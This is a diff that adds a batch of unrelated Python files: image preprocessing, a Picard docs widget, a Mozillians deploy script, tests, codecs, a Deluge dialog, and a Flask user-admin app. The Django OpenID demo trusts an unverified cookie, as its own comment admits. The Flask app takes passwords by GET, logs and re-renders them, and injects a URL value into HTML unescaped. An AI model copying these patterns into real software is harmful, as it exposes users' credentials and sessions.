`_resize_image` and `_decode_and_center_crop` taken from that code) + + def _resize_image(image, image_size, method=None): + if method is not None: + return tf1.image.resize([image], [image_size, image_size], method)[0] + return tf1.image.resize_bicubic([image], [image_size, image_size])[0] + + def _decode_and_center_crop(image, image_size, resize_method=None): + """Crops to center of image with padding then scales image_size.""" + shape = tf1.shape(image) + image_height = shape[0] + image_width = shape[1] + + padded_center_crop_size = tf1.cast( + ((image_size / (image_size + CROP_PADDING)) * + tf.cast(tf.minimum(image_height, image_width), tf.float32)), + tf.int32) + + offset_height = ((image_height - padded_center_crop_size) + 1) // 2 + offset_width = ((image_width - padded_center_crop_size) + 1) // 2 + image = tf1.image.crop_to_bounding_box(image, offset_height, offset_width, + padded_center_crop_size, + padded_center_crop_size) + image = _resize_image(image, image_size, resize_method) + return image + + features["image"] = _decode_and_center_crop( + features["image"], EFFICIENTNET_RESOLUTIONS[model_size]) + features["image"] = tf1.cast(features["image"], tf1.float32) + # We assume the modules expect pixels in [-1, 1]. + features["image"] = features["image"] / 127.5 - 1.0 + + return features + + if resolution is not None: + preprocess_config_fmt = "resize_small({})|central_crop({})|value_range(-1,1)" + preprocess_config = preprocess_config_fmt.format( + int(1.15 * resolution), resolution) + preprocess_fn = pipeline_builder.get_preprocess_fn( + preprocess_config, remove_tpu_dtypes=False) + + return model, preprocess_fn diff --git a/pool/shard009/Python/0080663_scriptdocumentation.py b/pool/shard009/Python/0080663_scriptdocumentation.py new file mode 100644 index 0000000000000000000000000000000000000000..6d94ff5bf4aa6fb6595fbc9b9040c82d8a2abf78 --- /dev/null +++ b/pool/shard009/Python/0080663_scriptdocumentation.py @@ -0,0 +1,137 @@ +# -*- coding: utf-8 -*- +# +# Picard, the next-generation MusicBrainz tagger +# +# Copyright (C) 2021 Bob Swift +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. + + +from PyQt5 import ( + QtCore, + QtWidgets, +) + +from picard.const import PICARD_URLS +from picard.script import script_function_documentation_all + +from picard.ui import FONT_FAMILY_MONOSPACE +from picard.ui.theme import theme + + +DOCUMENTATION_HTML_TEMPLATE = ''' + + + + + + + %(html)s + + +''' + + +class ScriptingDocumentationWidget(QtWidgets.QWidget): + """Custom widget to display the scripting documentation. + """ + def __init__(self, parent, include_link=True, *args, **kwargs): + """Custom widget to display the scripting documentation. + + Args: + parent (QWidget): Parent screen to check layoutDirection() + include_link (bool): Indicates whether the web link should be included + """ + super().__init__(*args, **kwargs) + + def process_html(html, function): + if not html: + html = '' + template = '
%s%s
%s
' + if function.module is not None and function.module != 'picard.script.functions': + module = ' [' + function.module + ']' + else: + module = '' + try: + firstline, remaining = html.split("\n", 1) + return template % (firstline, module, remaining) + except ValueError: + return template % ("$%s()" % function.name, module, html) + + funcdoc = script_function_documentation_all( + fmt='html', + postprocessor=process_html, + ) + + if parent.layoutDirection() == QtCore.Qt.RightToLeft: + text_direction = 'rtl' + else: + text_direction = 'ltr' + + html = DOCUMENTATION_HTML_TEMPLATE % { + 'html': "
%s
" % funcdoc, + 'script_function_fg': theme.syntax_theme.func.name(), + 'monospace_font': FONT_FAMILY_MONOSPACE, + 'dir': text_direction, + 'inline_start': 'right' if text_direction == 'rtl' else 'left' + } + # Scripting code is always left-to-right. Qt does not support the dir + # attribute on inline tags, insert explicit left-right-marks instead. + if text_direction == 'rtl': + html = html.replace('', '‎') + + link = '' + _('Open Scripting Documentation in your browser') + '' + + self.verticalLayout = QtWidgets.QVBoxLayout(self) + self.verticalLayout.setContentsMargins(0, 0, 0, 0) + self.verticalLayout.setObjectName("docs_verticalLayout") + self.textBrowser = QtWidgets.QTextBrowser(self) + self.textBrowser.setEnabled(True) + self.textBrowser.setMinimumSize(QtCore.QSize(0, 0)) + self.textBrowser.setObjectName("docs_textBrowser") + self.textBrowser.setHtml(html) + self.textBrowser.show() + self.verticalLayout.addWidget(self.textBrowser) + self.horizontalLayout = QtWidgets.QHBoxLayout() + self.horizontalLayout.setContentsMargins(-1, 0, -1, -1) + self.horizontalLayout.setObjectName("docs_horizontalLayout") + self.scripting_doc_link = QtWidgets.QLabel(self) + sizePolicy = QtWidgets.QSizePolicy(QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Preferred) + sizePolicy.setHorizontalStretch(0) + sizePolicy.setVerticalStretch(0) + sizePolicy.setHeightForWidth(self.scripting_doc_link.sizePolicy().hasHeightForWidth()) + if include_link: + self.scripting_doc_link.setSizePolicy(sizePolicy) + self.scripting_doc_link.setMinimumSize(QtCore.QSize(0, 20)) + self.scripting_doc_link.setAlignment(QtCore.Qt.AlignCenter) + self.scripting_doc_link.setWordWrap(True) + self.scripting_doc_link.setOpenExternalLinks(True) + self.scripting_doc_link.setObjectName("docs_scripting_doc_link") + self.scripting_doc_link.setText(link) + self.scripting_doc_link.show() + self.horizontalLayout.addWidget(self.scripting_doc_link) + self.verticalLayout.addLayout(self.horizontalLayout) diff --git a/pool/shard009/Python/0080666_views.py b/pool/shard009/Python/0080666_views.py new file mode 100644 index 0000000000000000000000000000000000000000..60d4fc7260352329643edd8f5945e3cfaa2d5b77 --- /dev/null +++ b/pool/shard009/Python/0080666_views.py @@ -0,0 +1,25 @@ +import logging + +from django.shortcuts import render_to_response +from django.http import HttpResponseRedirect + +COOKIE_NAME = 'openid_wg_auth' + + +def mainpage(request): + return render_to_response( + 'main.html', + {'openid': request.COOKIES.get(COOKIE_NAME, None)} + ) + + +def logout(request): + response = HttpResponseRedirect('/') + response.delete_cookie(COOKIE_NAME) + return response + + +def success_handler(request, response, openid_url): + # do not do it in a real application!!! it's just a simple example + response.set_cookie(COOKIE_NAME, openid_url) + logging.warning("success_handler openid_url: %s" % openid_url) diff --git a/pool/shard009/Python/0080667_update.py b/pool/shard009/Python/0080667_update.py new file mode 100644 index 0000000000000000000000000000000000000000..ffd2802a82286e24c9e37eec8ad4128e0899dfd2 --- /dev/null +++ b/pool/shard009/Python/0080667_update.py @@ -0,0 +1,235 @@ +""" +Deployment for Mozillians in production. + +Requires commander (https://github.com/oremj/commander) which is installed on +the systems that need it. +""" + +import os +import random +import re +import sys +import urllib +import urllib2 +import commander_settings as settings +from commander.deploy import task, hostgroups + + +sys.path.append(os.path.dirname(os.path.abspath(__file__))) + + +# Setup virtualenv path. +venv_bin_path = os.path.join(settings.SRC_DIR, '..', 'venv', 'bin') +os.environ['PATH'] = venv_bin_path + os.pathsep + os.environ['PATH'] + +NEW_RELIC_URL = 'https://rpm.newrelic.com/deployments.xml' +GITHUB_URL = 'https://github.com/mozilla/mozillians/compare/{oldrev}...{newrev}' + + +@task +def update_code(ctx, tag): + with ctx.lcd(settings.SRC_DIR): + ctx.local("git fetch") + ctx.local("git checkout -f %s" % tag) + ctx.local("git submodule sync") + ctx.local("git submodule update --init --recursive") + ctx.local("find . -type f -name '.gitignore' -or -name '*.pyc' -delete") + ctx.local('git clean -xdff "vendor-local/"') + + +@task +def update_locales(ctx): + with ctx.lcd(os.path.join(settings.SRC_DIR, 'locale')): + ctx.local('find . -name "*.mo" -delete') + ctx.local("svn up") + ctx.local("./compile.sh .") + + +@task +def update_assets(ctx): + with ctx.lcd(settings.SRC_DIR): + ctx.local("LANG=en_US.UTF-8 python manage.py collectstatic --noinput --no-default-ignore -i .git") + ctx.local("LANG=en_US.UTF-8 python manage.py compress --engine jinja2") + ctx.local("LANG=en_US.UTF-8 python manage.py update_product_details") + + +@task +def database(ctx): + with ctx.lcd(settings.SRC_DIR): + ctx.local("python manage.py migrate --noinput") + + +@task +def update_revision_files(ctx): + with ctx.lcd(settings.SRC_DIR): + global OLDREV, NEWREV + NEWREV = ctx.local("git rev-parse HEAD").out.strip() + OLDREV = ctx.local("cat media/revision.txt").out.strip() + ctx.local("mv media/revision.txt media/prev-revision.txt") + ctx.local("echo '%s' > media/revision.txt" % NEWREV) + + +@task +def ping_newrelic(ctx): + if settings.NEW_RELIC_API_KEY and settings.NEW_RELIC_APP_ID: + with ctx.lcd(settings.SRC_DIR): + log_cmd = 'git log --oneline {0}..{1}'.format(OLDREV, NEWREV) + changelog = ctx.local(log_cmd).out.strip() + + print 'Post deployment to New Relic' + desc = generate_desc(OLDREV, NEWREV, changelog) + if changelog: + github_url = GITHUB_URL.format(oldrev=OLDREV, newrev=NEWREV) + changelog = '{0}\n\n{1}'.format(changelog, github_url) + data = urllib.urlencode({ + 'deployment[description]': desc, + 'deployment[revision]': NEWREV, + 'deployment[app_id]': settings.NEW_RELIC_APP_ID, + 'deployment[changelog]': changelog, + }) + headers = {'x-api-key': settings.NEW_RELIC_API_KEY} + try: + request = urllib2.Request(NEW_RELIC_URL, data, headers) + urllib2.urlopen(request) + except urllib.URLError as exp: + print 'Error notifying New Relic: {0}'.format(exp) + + +@task +def update_es_indexes(ctx): + with ctx.lcd(settings.SRC_DIR): + ctx.local("python manage.py cron index_all_profiles &") + + +@task +def validate_fun_facts(ctx): + with ctx.lcd(settings.SRC_DIR): + ctx.local("python manage.py cron validate_fun_facts") + + +@task +def generate_humanstxt(ctx): + with ctx.lcd(settings.SRC_DIR): + ctx.local("python manage.py cron generate_humanstxt &") + + +# @task +# def install_cron(ctx): +# with ctx.lcd(settings.SRC_DIR): +# ctx.local("python ./scripts/crontab/gen-crons.py -k %s -u apache > /etc/cron.d/.%s" % +# (settings.WWW_DIR, settings.CRON_NAME)) +# ctx.local("mv /etc/cron.d/.%s /etc/cron.d/%s" % (settings.CRON_NAME, settings.CRON_NAME)) + + +@task +def checkin_changes(ctx): + ctx.local(settings.DEPLOY_SCRIPT) + + +@hostgroups(settings.WEB_HOSTGROUP, remote_kwargs={'ssh_key': settings.SSH_KEY}) +def deploy_app(ctx): + ctx.remote(settings.REMOTE_UPDATE_SCRIPT) + ctx.remote("/bin/touch %s" % settings.REMOTE_WSGI) + + +@hostgroups(settings.WEB_HOSTGROUP, remote_kwargs={'ssh_key': settings.SSH_KEY}) +def prime_app(ctx): + for http_port in range(80, 82): + ctx.remote("for i in {1..10}; do curl -so /dev/null -H 'Host: %s' -I http://localhost:%s/ & sleep 1; done" % (settings.REMOTE_HOSTNAME, http_port)) + + +@hostgroups(settings.CELERY_HOSTGROUP, remote_kwargs={'ssh_key': settings.SSH_KEY}) +def update_celery(ctx): + ctx.remote(settings.REMOTE_UPDATE_SCRIPT) + ctx.remote('/sbin/service %s restart' % settings.CELERY_SERVICE) + ctx.remote('/sbin/service %s restart' % settings.CELERYBEAT_SERVICE) + + +@task +def update_info(ctx, tag): + with ctx.lcd(settings.SRC_DIR): + ctx.local("date") + ctx.local("git branch") + ctx.local("git log -3") + ctx.local("git status") + ctx.local("git submodule status") + ctx.local("python ./manage.py migrate --list") + with ctx.lcd("locale"): + ctx.local("svn info") + ctx.local("svn status") + + +@task +def pre_update(ctx, ref=settings.UPDATE_REF): + update_code(ref) + update_info(ref) + + +@task +def update(ctx): + update_assets() + update_locales() + database() + + +@task +def deploy(ctx): + # install_cron() + update_revision_files() + checkin_changes() + deploy_app() + prime_app() + update_celery() + # Things run below here should not break the deployment if they fail. + if OLDREV != NEWREV: + # On dev, this script runs every 15 minutes. If we're pushing the same + # revision we don't need to churn the index, ping new relic, or any of this. + ping_newrelic() + update_es_indexes() + validate_fun_facts() + generate_humanstxt() + + +@task +def update_mozillians(ctx, tag): + """Do typical mozillians update""" + pre_update(tag) + update() + + +## utility functions ## +# shamelessly stolen from https://github.com/mythmon/chief-james/ + + +def get_random_desc(): + return random.choice([ + 'No bugfixes--must be adding infinite loops.', + 'No bugfixes--must be rot13ing function names for code security.', + 'No bugfixes--must be demonstrating our elite push technology.', + 'No bugfixes--must be testing james.', + ]) + + +def extract_bugs(changelog): + """Takes output from git log --oneline and extracts bug numbers.""" + bug_regexp = re.compile(r'\bbug (\d+)\b', re.I) + bugs = set() + for line in changelog: + for bug in bug_regexp.findall(line): + bugs.add(bug) + + return sorted(list(bugs)) + + +def generate_desc(from_commit, to_commit, changelog): + """Figures out a good description based on what we're pushing out.""" + if from_commit.startswith(to_commit): + desc = 'Pushing {0} again'.format(to_commit) + else: + bugs = extract_bugs(changelog.split('\n')) + if bugs: + bugs = ['bug #{0}'.format(bug) for bug in bugs] + desc = 'Fixing: {0}'.format(', '.join(bugs)) + else: + desc = get_random_desc() + return desc diff --git a/pool/shard009/Python/0080669_test_Server.py b/pool/shard009/Python/0080669_test_Server.py new file mode 100644 index 0000000000000000000000000000000000000000..6088ddab2aa9c1e146571ba5fe0397fad945c070 --- /dev/null +++ b/pool/shard009/Python/0080669_test_Server.py @@ -0,0 +1,74 @@ +import unittest +import Server +import Pyro4.naming +import Pyro4 +import threading +import Client +import logging +import Constants + +logging.basicConfig(level=logging.INFO) + + +class TestServer(unittest.TestCase): + + def setUp(self): + self.server = Server.Server() + + def tearDown(self): + pass + + def test_server_starts_with_no_clients(self): + self.assertTrue(len(self.server._clients) == 0) + + def test_get_all_data_returns_all_data(self): + self.server.notify({"test": 1}) + self.server.notify({"test2": 2}) + res = self.server.get_all_data() + self.assertEqual(res, [{"test": 1}, {"test2": 2}]) + + def test_server_returns_nothing_on_no_data(self): + res = self.server.get_all_data() + self.assertListEqual(res, []) + + def test_notify_returns_true(self): + res = self.server.notify("whatever") + self.assertTrue(res) + + def test_send_message_adds_to_queue(self): + self.server.send_message({"Data": "somevalue"}) + self.server.send_message({"Data": "somevalue2"}) + mes_list = self .server.get_all_messages() + self.assertTrue(len(mes_list) == 2) + + def test_get_all_messages(self): + msg = "test2" + self.server.send_message(msg) + msg_list = self.server.get_all_messages() + self.assertIn(msg, msg_list) + + def test_get_all_data(self): + data = "asdadasd" + self.server.notify(data) + data_list = self.server.get_all_data() + self.assertIn(data, data_list) + + def test_execute_command_sends_to_client_on_fail(self): + import Constants + client = Client.Client() + self.server._clients["test"] = ["garbage_uri", client]#mocking a client + self.server.execute_command("test", Constants.NETWORK_INFO_TAG) + + def test_execute_command_sends_to_client_on_success(self): + import Constants + import CommandInterface + client = Client.Client() + ci = CommandInterface.CommandInterface() + client.set_command_executor(ci) + self.server._clients["test"] = ["garbage_uri", client]#mocking a client + res = self.server.execute_command("test", Constants.NETWORK_INFO_TAG) + self.assertRegexpMatches(res, "Ethernet") + +if __name__ == "__main__": + unittest.main() + diff --git a/pool/shard009/Python/0080671_known.py b/pool/shard009/Python/0080671_known.py new file mode 100644 index 0000000000000000000000000000000000000000..6e28e837c4a7e23536bdb2625c7a7f877a3278d5 --- /dev/null +++ b/pool/shard009/Python/0080671_known.py @@ -0,0 +1,78 @@ +from rlib.unroll import unrolling_iterable +from functools import reduce + +from ..interp_type import is_ast_interpreter, is_bytecode_interpreter + +"""Captures the known primitives at load time of this module, i.e., at compile + time with RPython. +""" + +EXPECTED_NUMBER_OF_PRIMITIVE_FILES = 13 + + +class PrimitivesNotFound(Exception): pass + + +def _is_primitives_class(e): + "NOT_RPYTHON" + from som.primitives.primitives import Primitives + import inspect + entry_name, entry = e + + return (inspect.isclass(entry) and + issubclass(entry, Primitives) + and entry is not Primitives + and entry is not None + and entry_name is not None + and not entry_name.startswith("_")) + + +def _setup_primitives(): + "NOT_RPYTHON" + from importlib import import_module + import inspect + from glob import glob + base_package = "som.primitives." + if is_ast_interpreter(): + base_package += 'ast.' + interp_dir = 'ast' + else: + assert is_bytecode_interpreter() + base_package += 'bc.' + interp_dir = 'bc' + + directory = __file__.replace("known.pyc", "").replace("known.py", "") + interp_dir + "/" + files = glob(directory + "*_primitives.py") + + module_names = [f.replace(directory, "").replace(".py", "") for f in files] + mods = [import_module(base_package + mod) for mod in module_names] + all_members = [inspect.getmembers(mod) for mod in mods] + all_members = reduce(lambda all, each: all + each, all_members) + + all_prims = filter(_is_primitives_class, all_members) + + prim_pairs = [(prim_name[:prim_name.find("Primitives")], cls) + for (prim_name, cls) in all_prims] + + if EXPECTED_NUMBER_OF_PRIMITIVE_FILES != len(prim_pairs): + print("") + print("SOM PRIMITIVE DISCOVERY: following primitives found:") + for name, clazz in prim_pairs: + print(" - %s" % name) + print("Expected number of primitive files: %d, found %d" % ( + EXPECTED_NUMBER_OF_PRIMITIVE_FILES, len(prim_pairs))) + print("ERROR: did not find the expected number of primitive files!") + import sys + sys.exit(1) + return prim_pairs + + +_primitives = unrolling_iterable(_setup_primitives()) + + +def primitives_for_class(cls): + name = cls.get_name().get_embedded_string() + for key, primitives in _primitives: + if key == name: + return primitives + raise PrimitivesNotFound diff --git a/pool/shard009/Python/0080676_transactional_multi_map_size_codec.py b/pool/shard009/Python/0080676_transactional_multi_map_size_codec.py new file mode 100644 index 0000000000000000000000000000000000000000..ec1b21bece04c962977a865c574c1d11483b45ba --- /dev/null +++ b/pool/shard009/Python/0080676_transactional_multi_map_size_codec.py @@ -0,0 +1,40 @@ +from hazelcast.serialization.bits import * +from hazelcast.protocol.client_message import ClientMessage +from hazelcast.protocol.custom_codec import * +from hazelcast.util import ImmutableLazyDataList +from hazelcast.protocol.codec.transactional_multi_map_message_type import * + +REQUEST_TYPE = TRANSACTIONALMULTIMAP_SIZE +RESPONSE_TYPE = 102 +RETRYABLE = False + + +def calculate_size(name, txn_id, thread_id): + """ Calculates the request payload size""" + data_size = 0 + data_size += calculate_size_str(name) + data_size += calculate_size_str(txn_id) + data_size += LONG_SIZE_IN_BYTES + return data_size + + +def encode_request(name, txn_id, thread_id): + """ Encode request into client_message""" + client_message = ClientMessage(payload_size=calculate_size(name, txn_id, thread_id)) + client_message.set_message_type(REQUEST_TYPE) + client_message.set_retryable(RETRYABLE) + client_message.append_str(name) + client_message.append_str(txn_id) + client_message.append_long(thread_id) + client_message.update_frame_length() + return client_message + + +def decode_response(client_message, to_object=None): + """ Decode response from client message""" + parameters = dict(response=None) + parameters['response'] = client_message.read_int() + return parameters + + + diff --git a/pool/shard009/Python/0080684_queuedtorrents.py b/pool/shard009/Python/0080684_queuedtorrents.py new file mode 100644 index 0000000000000000000000000000000000000000..08f411d9484c1966fe06731d1df021eaa685496e --- /dev/null +++ b/pool/shard009/Python/0080684_queuedtorrents.py @@ -0,0 +1,184 @@ +# +# queuedtorrents.py +# +# Copyright (C) 2007 Andrew Resch +# +# Deluge is free software. +# +# You may redistribute it and/or modify it under the terms of the +# GNU General Public License, as published by the Free Software +# Foundation; either version 3 of the License, or (at your option) +# any later version. +# +# deluge is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# See the GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with deluge. If not, write to: +# The Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor +# Boston, MA 02110-1301, USA. +# +# In addition, as a special exception, the copyright holders give +# permission to link the code of portions of this program with the OpenSSL +# library. +# You must obey the GNU General Public License in all respects for all of +# the code used other than OpenSSL. If you modify file(s) with this +# exception, you may extend this exception to your version of the file(s), +# but you are not obligated to do so. If you do not wish to do so, delete +# this exception statement from your version. If you delete this exception +# statement from all source files in the program, then also delete it here. +# +# + +import base64 +import os.path + +import gtk, gtk.glade +import gobject +import pkg_resources + +import deluge.component as component +from deluge.ui.client import client +from deluge.ui.gtkui.ipcinterface import process_args +import deluge.common +from deluge.configmanager import ConfigManager +from deluge.log import LOG as log +import common + +class QueuedTorrents(component.Component): + def __init__(self): + component.Component.__init__(self, "QueuedTorrents", depend=["StatusBar", "AddTorrentDialog"]) + self.queue = [] + self.status_item = None + + self.config = ConfigManager("gtkui.conf") + self.glade = gtk.glade.XML( + pkg_resources.resource_filename("deluge.ui.gtkui", + "glade/queuedtorrents.glade")) + self.glade.get_widget("chk_autoadd").set_active( + self.config["autoadd_queued"]) + self.dialog = self.glade.get_widget("queued_torrents_dialog") + self.dialog.set_icon(common.get_logo(32)) + + self.glade.signal_autoconnect({ + "on_button_remove_clicked": self.on_button_remove_clicked, + "on_button_clear_clicked": self.on_button_clear_clicked, + "on_button_close_clicked": self.on_button_close_clicked, + "on_button_add_clicked": self.on_button_add_clicked, + "on_chk_autoadd_toggled": self.on_chk_autoadd_toggled + }) + + self.treeview = self.glade.get_widget("treeview") + self.treeview.append_column( + gtk.TreeViewColumn(_("Torrent"), gtk.CellRendererText(), text=0)) + + self.liststore = gtk.ListStore(str, str) + self.treeview.set_model(self.liststore) + + def run(self): + self.dialog.set_transient_for(component.get("MainWindow").window) + self.dialog.show() + + def start(self): + if len(self.queue) == 0: + return + + if self.config["autoadd_queued"] or self.config["classic_mode"]: + self.on_button_add_clicked(None) + return + # Make sure status bar info is showing + self.update_status_bar() + + # We only want the add button sensitive if we're connected to a host + self.glade.get_widget("button_add").set_sensitive(True) + self.run() + + def stop(self): + # We only want the add button sensitive if we're connected to a host + self.glade.get_widget("button_add").set_sensitive(False) + self.update_status_bar() + + def add_to_queue(self, torrents): + """Adds the list of torrents to the queue""" + # Add to the queue while removing duplicates + self.queue = list(set(self.queue + torrents)) + + # Update the liststore + self.liststore.clear() + for torrent in self.queue: + self.liststore.append([os.path.split(torrent)[1], torrent]) + + # Update the status bar + self.update_status_bar() + + def update_status_bar(self): + """Attempts to update status bar""" + # If there are no queued torrents.. remove statusbar widgets and return + if len(self.queue) == 0: + if self.status_item != None: + component.get("StatusBar").remove_item(self.status_item) + self.status_item = None + return False + + try: + statusbar = component.get("StatusBar") + except Exception, e: + # The statusbar hasn't been loaded yet, so we'll add a timer to + # update it later. + gobject.timeout_add(100, self.update_status_bar) + return False + + # Set the label text for statusbar + if len(self.queue) > 1: + label = str(len(self.queue)) + _(" Torrents Queued") + else: + label = str(len(self.queue)) + _(" Torrent Queued") + + # Add the statusbar items if needed, or just modify the label if they + # have already been added. + if self.status_item == None: + self.status_item = component.get("StatusBar").add_item( + stock=gtk.STOCK_SORT_DESCENDING, + text=label, + callback=self.on_statusbar_click) + else: + self.status_item.set_text(label) + + # We return False so the timer stops + return False + + def on_statusbar_click(self, widget, event): + log.debug("on_statusbar_click") + self.run() + + def on_button_remove_clicked(self, widget): + selected = self.treeview.get_selection().get_selected()[1] + if selected != None: + path = self.liststore.get_value(selected, 1) + self.liststore.remove(selected) + self.queue.remove(path) + self.update_status_bar() + + def on_button_clear_clicked(self, widget): + self.liststore.clear() + self.update_status_bar() + + def on_button_close_clicked(self, widget): + self.dialog.hide() + + def on_button_add_clicked(self, widget): + # Add all the torrents in the liststore + def add_torrent(model, path, iter, data): + torrent_path = model.get_value(iter, 1) + process_args([torrent_path]) + + self.liststore.foreach(add_torrent, None) + del self.queue[:] + self.dialog.hide() + self.update_status_bar() + + def on_chk_autoadd_toggled(self, widget): + self.config["autoadd_queued"] = widget.get_active() diff --git a/pool/shard009/Python/0080694_walk_path.py b/pool/shard009/Python/0080694_walk_path.py new file mode 100644 index 0000000000000000000000000000000000000000..0e5ee04a71f5279038ae28ced8279088f61e2c7f --- /dev/null +++ b/pool/shard009/Python/0080694_walk_path.py @@ -0,0 +1,34 @@ +# -*- coding: utf-8 -*- +""" +Created on Tue Jun 13 23:14:48 2017 + +@author: Gerardo A. Rivera Tello +""" + +import os +import time +import combine_files as cf + +dirs = [] +for path, subdirs, files in os.walk(os.getcwd()): + if '1.' in path: + dirs.append(path) + +#%% +tif_dir = os.path.join(os.getcwd(),'TIF_Data') +if not os.path.exists(tif_dir): + os.mkdir(tif_dir) + +#%% +for num, path in enumerate(dirs): + os.chdir(path) + start_time = time.time() + hdf_files = [hdf for hdf in os.listdir(os.getcwd()) if hdf.endswith('.HDF')] + txt_files = [txt for txt in os.listdir(os.getcwd()) if txt.endswith('_LOG.TXT')] + if 'NDV' in hdf_files[0]: + print '{}\nComenzando el procesado de {}'.format('='*30,hdf_files[0][:-8]) + cf.main(hdf_files[0],hdf_files[1],txt_files[0],tif_dir) + else: + print '{}\nComenzando el procesado de {}'.format('='*30,hdf_files[0][:-8]) + cf.main(hdf_files[1],hdf_files[0],txt_files[0],tif_dir) + print 'Proceso {} terminado en {} segundos\n'.format(num+1,round(time.time() - start_time,2)) \ No newline at end of file diff --git a/pool/shard009/Python/0080701_views.py b/pool/shard009/Python/0080701_views.py new file mode 100644 index 0000000000000000000000000000000000000000..18eafaab553d5c449f11c6dc19e4a1b39b4e43e5 --- /dev/null +++ b/pool/shard009/Python/0080701_views.py @@ -0,0 +1,119 @@ +#!/usr/bin/env python +#encoding:utf-8 +import sys +reload(sys) +sys.setdefaultencoding('utf-8') + +from flask import request,redirect,flash,render_template +from app import app +from app import mylog +import user + +@app.route('/') +def index(): + return render_template('login.html') + +@app.route('/') +def test(name): + return '

hello,%s

' %name + +@app.route('/index2/') +def main(): + print request.args + count = request.args.get('count',10) + count = int(count) if str(count).isdigit() else 10 + user1 = mylog.get_sum('./app/www_access_20140823.log',count) + return render_template("index2.html",count = count,user1 = user1) + +@app.route('/login/',methods=['POST','GET']) +def login(): + params = request.args if request.method == 'GET' else request.form + username = params.get('username','') + password = params.get('password','') + if user.validate_login(username,password): + flash("%s,欢迎回来!" %username ) + return redirect('/show/') + else: + flash("用户名或密码错误,请重新输入!") + return render_template('login.html',username=username) + +@app.route('/show/') +def show_user(): + user_list = user.get_user() + return render_template("showuser.html",user_list=user_list) + +@app.route('/user/add/',methods=['POST','GET']) +def add_user(): + params = request.args if request.method == 'GET' else request.form + if request.method == 'GET': + return render_template("adduser.html") + else: + username = params.get('username','') + password = params.get('password','') + age = params.get('age','') + #status,error = user.add_user(username,password,age) + if user.add_user(username,password,age): + flash("%s添加成功!" %username) + return redirect('/show/') + else: + return render_template("adduser.html",error="用户名已经存在或为空!") +@app.route('/user/modify/',methods=['POST','GET']) +def mod_user(): + params = request.args if request.method == 'GET' else request.form + if request.method == 'GET': + global username1 + global password1 + global age1 + username = params.get('username','') + password = params.get('password','') + age = params.get('age','') + username1 = username + password1 = password + age1 = age + return render_template("modifyuser.html",username=username,password=password,age=age) + else: + username = params.get('username','') + password = params.get('password','') + age = params.get('age','') + print "New:%s-%s-%s" %(username,password,age) + print "Old:%s-%s-%s" %(username1,password1,age1) + #情况一:用户信息没变化 + if user.modify_user(username,password,age) == 'same': + flash("%s信息没有变化" %username) + return redirect('/show/') + #情况二:修改后的用户名已经存在 + elif user.modify_user(username,password,age) == 'flag': + flash("用户名已存在,请重新修改!") + return redirect('/show/') + #情况三:其他情况,直接添加新记录,删掉老记录 + user.del_user(username1,password1,age1) + if user.modify_user(username,password,age): + flash("%s修改成功!"%username) + return redirect('/show/') + return render_template("modifyuser.html",error="修改失败!") +@app.route('/user/del/',methods=['POST','GET']) +def del_user(): + username = request.args.get('username','') + password = request.args.get('password','') + age = request.args.get('age','') + if user.del_user(username,password,age): + flash("%s删除成功!" %username) + return redirect('/show/') + return render_template("showuser.html",error="删除失败!") + +@app.route('/user/find/',methods=['POST','GET']) +def finder_user(): + username = str(request.form.get('username','')) + new_user = user.find_user(username) + if user.find_user(username): + return render_template('finduser.html',new_user = new_user) + flash("Sorry,没有查到相关数据!") + return render_template('finduser.html') + +@app.route('/user/logout/',methods=['POST','GET']) +def login_out(): + return render_template('login.html') + +''' +功能ok,加油 +''' diff --git a/pool/shard009/Python/0080711_boot_script.py b/pool/shard009/Python/0080711_boot_script.py new file mode 100644 index 0000000000000000000000000000000000000000..8b6a7abcf9fe121d396ba52228b48ea7cb771b83 --- /dev/null +++ b/pool/shard009/Python/0080711_boot_script.py @@ -0,0 +1,17 @@ +from core.models import BootScript, ScriptType +from rest_framework import serializers +from api.v2.serializers.fields.base import UUIDHyperlinkedIdentityField + + +class BootScriptSummarySerializer(serializers.HyperlinkedModelSerializer): + type = serializers.SlugRelatedField( + source='script_type', + slug_field='name', + queryset=ScriptType.objects.all()) + url = UUIDHyperlinkedIdentityField( + view_name='api:v2:bootscript-detail', + ) + + class Meta: + model = BootScript + fields = ('id', 'url', 'uuid', 'title', 'type') diff --git a/pool/shard009/Python/0080718_maintainers.py b/pool/shard009/Python/0080718_maintainers.py new file mode 100644 index 0000000000000000000000000000000000000000..9c7a65c41e5de488a7e060c31dc55f2fbf1a293f --- /dev/null +++ b/pool/shard009/Python/0080718_maintainers.py @@ -0,0 +1,56 @@ +# -*- coding:utf-8 -*- +# +# +# Copyright (C) 2015 Clear ICT Solutions . +# All Rights Reserved. +# +# This program is free software: you can redistribute it and/or modify it +# under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . +# +# + +from openerp import api, fields, models + + +class PartnerMaintainers(models.TransientModel): + + _name = 'res.partner.maintainers.wizard' + _description = 'Partner Maintainers Wizard' + + def _get_current_maintainers(self): + + grp_partner_mgr = self.env.ref('base.group_partner_manager') + if len(grp_partner_mgr) > 0: + return grp_partner_mgr.users + + return self.env['res.users'] + + # Fields + # + name = fields.Char(string='Partner Maintainers Wizard') + user_ids = fields.Many2many(comodel_name='res.users', string="Maintainers", + default=_get_current_maintainers) + + @api.multi + def save_maintainers(self): + + root_user = self.env.ref('base.user_root') + for wizard in self: + # You can never remove the Administrator + if root_user not in wizard.user_ids: + wizard.user_ids = root_user + wizard.user_ids + + grp_partner_mgrs = 